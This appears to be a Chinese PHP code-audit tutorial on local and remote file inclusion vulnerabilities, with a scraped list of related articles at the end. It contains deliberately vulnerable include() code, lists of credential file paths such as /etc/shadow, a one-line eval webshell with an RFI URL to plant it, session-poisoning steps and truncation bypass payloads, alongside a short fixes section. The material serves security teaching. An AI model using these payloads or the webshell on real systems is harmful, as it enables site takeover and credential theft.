2020/1/31 PHP代码审计之文件包含漏洞
0x00 文件包含简介
文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校检,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成了本地文件包含漏洞,被包含的文件在第三方服务时,就形成了远程文件包含漏洞。
0x01 漏洞危害
执行恶意代码
包含恶意文件控制网站
甚至控制网站服务器等
0x02 本地包含
本地文件包含(Local File Include,LFI),LFI允许攻击者通过浏览器包含本机上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据,注入路径遍历字符,包含Web服务器上的其他文件。
相比较远程包含,本地包含比较鸡肋。。我们一般只能读取一些敏感文件
0x03 远程包含
远程文件包含(Remote File Inciude,RFI),RFI允许攻击者包含远程文件,远程文件包含需要设置allow_url_include=on,四个文件都支持HTTP,FTP等协议,想对本地文件包含更容易利用,出现的频率没有本地包含多。
0x04 文件包含挖掘经验
模块加载,cache调用,传入的参数拼接包含路径。
PHP中文件包含函数有以下四种:
require()
require_once()
include()
include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
0x05 本地文件包含代码
写一个最简单的文件包含代码:
<?php//
$file = $_GET['name'];
if(isset($file)){
include($file);
}
?>
$_GET['name']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['name']的值,执行非预期的操作。

结合上午的目录穿越:

常见的敏感信息路径:
Windows系统
c:\boot.ini // 查看系统版本c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
0x06 远程文件包含代码
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
在代码上基本没有区别:
<?php
$file = $_GET['name'];
if(isset($file)){
include($file);
}
?>
区别:我们可以通过url包含

通过远程文件包含,包含一句话木马:
<?php
@eval($_POST['777']);
?>
http://127.0.0.1/mmcy.php?name=http://127.0.0.1/yjh.php
通过这么一句话就可以写入webshell,控制网站
ps:
http://127.0.0.1/mmcy.php?name=http://127.0.0.1/yjh.jpg
也可以用蚁剑连接
0x07 session文件包含漏洞
利用条件:
session的存储位置可以获取。
- 通过phpinfo的信息可以获取到session的存储位置。
- 通过猜测默认的session存放位置进行尝试。
如linux下默认存储在/var/lib/php/session目录
session中的内容可以被控制,传入恶意代码。
<?phpsession_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
此php会将获取到的GET型ctfs变量的值存入到session中。
当访问http://127.0.0.1/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。
session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:
username|s:4:"ctfs";
[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6
username|s:4:"ctfs"
漏洞利用
通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。
当访问http://127.0.0.1/session.php?ctfs=后,会在/var/lib/php/session目录下存储session的值
攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。
0x08 一些绕过技巧
有时会碰到后缀名写死情况:
<?php
$file = $_GET['name'];
if(isset($file)){
include($file . ".txt");//只让我们包含txt文件
}
?>
%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4
路径长度截断
条件:windows OS,点号需要长于256;linux OS 长于4096
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
EXP:
?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
点号截断
条件:windows OS,点号需要长于256
代码:
<?php $filename = $_GET['filename']; include($filename . ".txt"); ?>
exp:
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
问号绕过
属于伪截断,不受GPC和PHP版本限制(<5.2.8)
<?php include($_GET['filename'] . ".html"); ?>
?filename=http://127.0.0.1/php.txt?
#号绕过
?filename=http://127.0.0.1/php.txt#
php://输入输出流
php://filter/read=convert.base64-encode/resource=1.txt
以base64编码截断
0x09 漏洞修复
关闭远程包含参数开关,彻底切断这个业务。
设置类似白名单方法,筛选固定文件名。
常见目录穿越字符进行过滤,如(./ ../ ..\等)
参考链接
https://www.freebuf.com/articles/web/182280.html
2020/1/31 PHP代码审计之文件包含漏洞的更多相关文章
- PHP代码审计笔记--文件包含漏洞
有限制的本地文件包含: <?php include($_GET['file'].".php"); ?> %00截断: ?file=C://Windows//win.in ...
- 2020/1/31 PHP代码审计之目录穿越漏洞
0x00 目录穿越 目录穿越(Directory Traversal)攻击是黑客能够在Web应用程序所在的根目录以外的文件夹上,任意的存取被限制的文件夹,执行命令或查找数据.目录穿越攻击,也与人称为P ...
- 代码审计-凡诺CMS 2.1文件包含漏洞
0x01代码审计 后台账号密码: admin admin 安装好了是这样的 漏洞文件:/channel.php if (ism()) { include($dir.$t_mpath.$c_mcmode ...
- Kali学习笔记31:目录遍历漏洞、文件包含漏洞
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...
- 【代码审计】appcms 文件包含漏洞
index.php的开头系统都做了过滤 一个是 htmlspecialchars($v), 另一个是/^[\x{4e00}-\x{9fa5}\w {0}]+$/u. 前一个过滤是把预定义的字符 &qu ...
- Apache Tomcat文件包含漏洞紧急修复
Tomcat 漏洞 tomcat有漏洞, 需要升级到9.0.31 https://cert.360.cn/warning/detail?id=849be16c6d2dd909ff56eee7e26ae ...
- TomcatAJP文件包含漏洞
漏洞概述 2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布关于Apache Tomcat的安全公告,Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2 ...
- Tomcat文件包含漏洞的搭建与复现:CVE-2020-1938
Tomcat文件包含漏洞的搭建与复现:CVE-2020-1938 漏洞描述 2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020- ...
- phpmyadmin任意文件包含漏洞分析(含演示)
0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...
随机推荐
- memset函数总结
之前有一个程序栽在了memset函数上面,对memset函数一直耿耿于怀,于是想总结一下这个常用但是总出错的函数. memset在string.h文件中是这么定义的: void*代表这个函数的返回值可 ...
- 关于AlertDialog多选框中全选和反选的实现办法
package mobile.android.ch07.multi.choice.dialog; import android.app.Activity; import android.app.Ale ...
- 微信小程序学习开发笔记
首先注册小程序开账号,下载开发工具之后,先啃官方文档:https://developers.weixin.qq.com/miniprogram/dev/framework/ ,把小程序的基本的代码框架 ...
- python用于web题里写解密脚本
题源自bugku里的WEB3 选择选项让他停止,F12后出现如下代码,一看数字就知道是ASC: 复制出来,写pyhton脚本如下,在编译器里跑一下 s='KEY{J2sa42ahJK-HS11III} ...
- 08 SSM整合案例(企业权限管理系统):05.SSM整合案例的基本介绍
04.AdminLTE的基本介绍 05.SSM整合案例的基本介绍 06.产品操作 07.订单操作 08.权限控制 09.用户和角色操作 10.权限关联 11.AOP日志 05.SSM整合案例的基本介绍 ...
- UVA - 1423 Guess (拓扑排序)
题意:已知矩阵S,求序列a.已知矩阵Sij = “ + ” if ai + . . . + aj > 0; Sij = “ − ” if ai + . . . + aj < 0; and ...
- UVA - 1152 4 Values whose Sum is 0(中途相遇法)
题意:从四个集合各选一个数,使和等于0,问有多少种选法. 分析:求出来所有ai + bi,在里面找所有等于ci + di的个数. #pragma comment(linker, "/STAC ...
- Asp.net mvc+EF+Sql Server2008数据库缓存依赖
1.开启数据库缓存依赖功能(开启对数据库中表Article和ArticleType的缓存) (注:)如果要配置SqlCacheDependency,则需要以命令行的方式执行. aspnet_regsq ...
- 网卡绑定多个ip
现在我的树莓派上的wlan0的IP是192.168.31.237,之前通过双绞线连接时候eth0的ip是192.168.31.50 . 我就想啊,能不能把wlan0的ip设置成50.......... ...
- 常用Java工具类
一. org.apache.commons.io.IOUtils closeQuietly:关闭一个IO流.socket.或者selector且不抛出异常,通常放在finally块 toString: ...